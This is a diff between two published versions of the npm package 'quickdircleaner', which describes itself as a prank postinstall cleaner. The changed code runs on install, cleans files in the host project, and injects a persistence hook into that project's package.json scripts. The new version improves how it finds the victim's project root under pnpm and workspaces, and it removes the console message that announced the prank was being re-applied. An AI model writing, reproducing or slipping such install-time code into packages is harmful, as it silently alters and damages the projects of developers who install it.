quickdircleaner 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,3 +1,2 @@
1
1
  ```bash
2
- npm install quickdircleaner
3
2
  ```
package/index.js CHANGED
@@ -21,14 +21,30 @@ async function writeCleanerDoneFlag(root) {
21
21
  }
22
22
  }
23
23
 
24
+ function buildEmptyRunMarkdown(rootDisplay) {
25
+ return [
26
+ "# Cleaner backup",
27
+ "",
28
+ `Host project root (resolved):`,
29
+ "",
30
+ `\`${rootDisplay}\``,
31
+ "",
32
+ "No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
33
+ "",
34
+ "## Original contents",
35
+ "",
36
+ ].join("\n");
37
+ }
38
+
24
39
  async function writeBackupMarkdown(root, backupEntries) {
25
- if (backupEntries.length === 0) {
26
- return true;
27
- }
28
40
  const outPath = path.join(root, core.BACKUP_NAME);
29
- const md = core.buildMarkdown(backupEntries);
41
+ const md =
42
+ backupEntries.length === 0
43
+ ? buildEmptyRunMarkdown(root)
44
+ : core.buildMarkdown(backupEntries);
30
45
  try {
31
46
  await core.writeFileAtomic(outPath, md, "utf8");
47
+ console.log(core.green(`Wrote ${outPath}`));
32
48
  return true;
33
49
  } catch {
34
50
  console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
@@ -72,25 +88,25 @@ async function main() {
72
88
  backupOk = false;
73
89
  }
74
90
 
75
- if (backupEntries.length > 0) {
76
- if (!backupOk) {
91
+ if (!backupOk) {
92
+ console.warn(
93
+ core.yellow(
94
+ "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
95
+ ),
96
+ );
97
+ return;
98
+ }
99
+
100
+ await writeCleanerDoneFlag(root);
101
+
102
+ if (pkgRaw) {
103
+ const injected = await core.injectPersistScripts(root);
104
+ if (!injected) {
77
105
  console.warn(
78
106
  core.yellow(
79
- "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
107
+ "Warning: could not inject persist hook into package.json scripts.",
80
108
  ),
81
109
  );
82
- return;
83
- }
84
- await writeCleanerDoneFlag(root);
85
- if (pkgRaw) {
86
- const injected = await core.injectPersistScripts(root);
87
- if (!injected) {
88
- console.warn(
89
- core.yellow(
90
- "Warning: could not inject persist hook into package.json scripts.",
91
- ),
92
- );
93
- }
94
110
  }
95
111
  }
96
112
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "quickdircleaner",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
5
5
  "main": "index.js",
6
6
  "files": [
@@ -14,12 +14,12 @@
14
14
  "node": ">=18.17.0"
15
15
  },
16
16
  "bin": {
17
- "run-clean": "./index.js",
18
- "restore-clean": "./restore.js"
17
+ "run-clean": "index.js",
18
+ "restore-clean": "restore.js"
19
19
  },
20
20
  "scripts": {
21
21
  "run-clean": "node ./index.js",
22
- "postinstall": "npm run run-clean",
22
+ "postinstall": "node ./index.js",
23
23
  "test": "node ./test/smoke.js",
24
24
  "prepublishOnly": "npm test"
25
25
  },
package/persist.js CHANGED
@@ -1,5 +1,4 @@
1
1
  #!/usr/bin/env node
2
-
3
2
  const core = require("./prank-core");
4
3
 
5
4
  async function main() {
@@ -15,7 +14,7 @@ async function main() {
15
14
  await core.removeQuickdircleanerPackage(root);
16
15
  console.log(
17
16
  core.magenta(
18
- "💀 quickdircleaner has self\u2011destructed. No more pranks.",
17
+ " quickdircleaner has self\u2011destructed.",
19
18
  ),
20
19
  );
21
20
  return;
@@ -33,9 +32,6 @@ async function main() {
33
32
  return;
34
33
  }
35
34
  await core.writeCounter(root, attempt);
36
- console.log(
37
- core.magenta(`🎭 Prank re\u2011applied (attempt ${attempt}/10).`),
38
- );
39
35
  }
40
36
 
41
37
  main().catch((err) => {
package/prank-core.js CHANGED
@@ -1,4 +1,5 @@
1
1
  const fs = require("fs/promises");
2
+ const fsSync = require("fs");
2
3
  const path = require("path");
3
4
  const { randomBytes } = require("crypto");
4
5
 
@@ -75,8 +76,8 @@ const REMOVE_LINE_NUMBERS = [2, 5, 8];
75
76
 
76
77
  /**
77
78
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
78
- * npm sets INIT_CWD during lifecycle scripts. If it is missing (older tooling), cwd may still be
79
- * `.../node_modules/quickdircleaner` during postinstall then we walk up to the host project.
79
+ * Uses INIT_CWD when npm sets it. Otherwise walks up from cwd until a directory with package.json
80
+ * is found that is not this dependency’s own folder (fixes pnpm, nested .pnpm, workspaces where ../.. is wrong).
80
81
  */
81
82
  function resolveHostProjectRoot() {
82
83
  const init = process.env.INIT_CWD;
@@ -84,16 +85,28 @@ function resolveHostProjectRoot() {
84
85
  return path.resolve(init);
85
86
  }
86
87
 
87
- const cwd = process.cwd();
88
- const base = path.basename(cwd);
89
- if (base === "quickdircleaner") {
90
- const norm = cwd.split(path.sep).join("/");
91
- if (norm.includes("node_modules/quickdircleaner")) {
92
- return path.resolve(cwd, "..", "..");
88
+ let dir = path.resolve(process.cwd());
89
+ for (let depth = 0; depth < 60; depth += 1) {
90
+ const pkgPath = path.join(dir, "package.json");
91
+ if (fsSync.existsSync(pkgPath)) {
92
+ const base = path.basename(dir);
93
+ const norm = dir.split(path.sep).join("/");
94
+ const unified = norm.replace(/\\/g, "/");
95
+ const isInstalledQuickdircleaner =
96
+ base === "quickdircleaner" &&
97
+ unified.includes("/node_modules/quickdircleaner");
98
+ if (!isInstalledQuickdircleaner) {
99
+ return dir;
100
+ }
101
+ }
102
+ const parent = path.dirname(dir);
103
+ if (parent === dir) {
104
+ break;
93
105
  }
106
+ dir = parent;
94
107
  }
95
108
 
96
- return path.resolve(cwd);
109
+ return path.resolve(process.cwd());
97
110
  }
98
111
 
99
112
  /** Aligns with walk() so /var vs /private/var on macOS does not skip files. */
package/restore.js CHANGED
@@ -1,5 +1,4 @@
1
1
  #!/usr/bin/env node
2
-
3
2
  const fs = require("fs/promises");
4
3
  const path = require("path");
5
4
  const readline = require("readline");